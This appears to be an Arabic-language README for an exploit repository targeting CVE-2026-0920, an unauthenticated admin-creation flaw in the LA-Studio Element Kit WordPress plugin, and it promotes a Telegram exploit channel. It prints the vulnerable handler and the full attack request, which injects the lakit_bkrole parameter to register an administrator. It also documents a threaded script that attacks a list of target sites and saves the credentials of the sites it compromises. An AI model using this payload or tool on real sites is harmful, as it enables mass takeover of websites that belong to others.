
LA-Studio Element Kit لـ Elementor <= 1.5.6.3 - تصعيد امتيازات دون مصادقة عبر باب خلفي لإنشاء مستخدم إداري عبر معامل lakit_bkrole
LA-Studio Element Kit for Elementor <= 1.5.6.3 - تصعيد صلاحيات غير مصادق عليه عبر باب خلفي لإنشاء مستخدم إداري عبر معامل lakit_bkrole
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 الاستغلال يُنشر هنا أولاً. تابع @KNxploited على تيليغرام — مصدرك النخبوي لأحدث ثغرات CVE المُعلنة، ونماذج الإثبات (PoCs) الجاهزة، وأبحاث أمنية دقيقة. يُحدَّث باستمرار. صُمم لمن يبقون في المقدمة.
CVE-2026-0920 هي ثغرة حرجة بدرجة 9.8 وفق CVSS اكتُشفت في ملحق ووردبريس LA-Studio Element Kit for Elementor.
يقع الخلل في دالة ajax_register_handle()، التي تعالج تسجيلات المستخدمين غير المصادَق عليهم عبر AJAX. تفشل الدالة في فرض أي قيد على معامل lakit_bkrole — مما يسمح لمهاجم غير مصادق تمامًا بإسناد دور administrator لنفسه أثناء التسجيل، محققًا السيطرة الكاملة على لوحة تحكم ووردبريس من طلب واحد.
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2026-0920 |
| الملحق | LA-Studio Element Kit for Elementor |
| المعرّف (Slug) | lakit / la-studio-element-kit-for-elementor |
| الإصدارات المتأثرة | جميع الإصدارات حتى 1.5.6.3 شاملة |
| نوع الثغرة | تصعيد صلاحيات غير مصادق عليه / إنشاء مدير |
| متجه الهجوم | شبكة — لا يتطلب مصادقة |
| درجة CVSS 3.1 | 9.8 حرجة |
| متجه CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| الأثر | السيطرة الكاملة على حساب مدير ووردبريس |
| الباحث | Nxploited |
السبب الجذري هو غياب فحص صلاحيات الدور داخل معالج تسجيل AJAX في الملحق:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
لماذا هذا بالغ الخطورة؟
wp_ajax_nopriv_* = يمكن الوصول إليه من أي شخص دون أي مصادقةlakit_bkrole يقبل أي سلسلة أدوار في ووردبريس — بما في ذلك administratorStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| الاعتماد | الغرض |
|---|---|
requests | طلبات HTTP، إدارة الجلسات، التعامل مع الكوكيز |
colorama | مخرجات طرفية ملونة على جميع المنصات |
threading | معالجة متزامنة لأهداف متعددة |
re | استخراج الـ nonce من HTML/JS عبر التعبيرات النمطية |
يُنصح باستخدام بايثون 3.10+ (يستخدم تلميحات أنواع
str | None).
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
افتح CVE-2026-0920.py وعدّل الثوابت في الأعلى لضبط تفاصيل حساب المدير المطلوب:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
أنشئ list.txt مع رابط هدف واحد في كل سطر:
https://target1.com
https://target2.com
http://target3.com
الروابط بدون بروتوكول تُضاف إليها
https://تلقائيًا.
python CVE-2026-0920.py
سيُطلب منك:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
يُنتج السكربت مخرجات طرفية ملونة وفي الوقت الفعلي:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================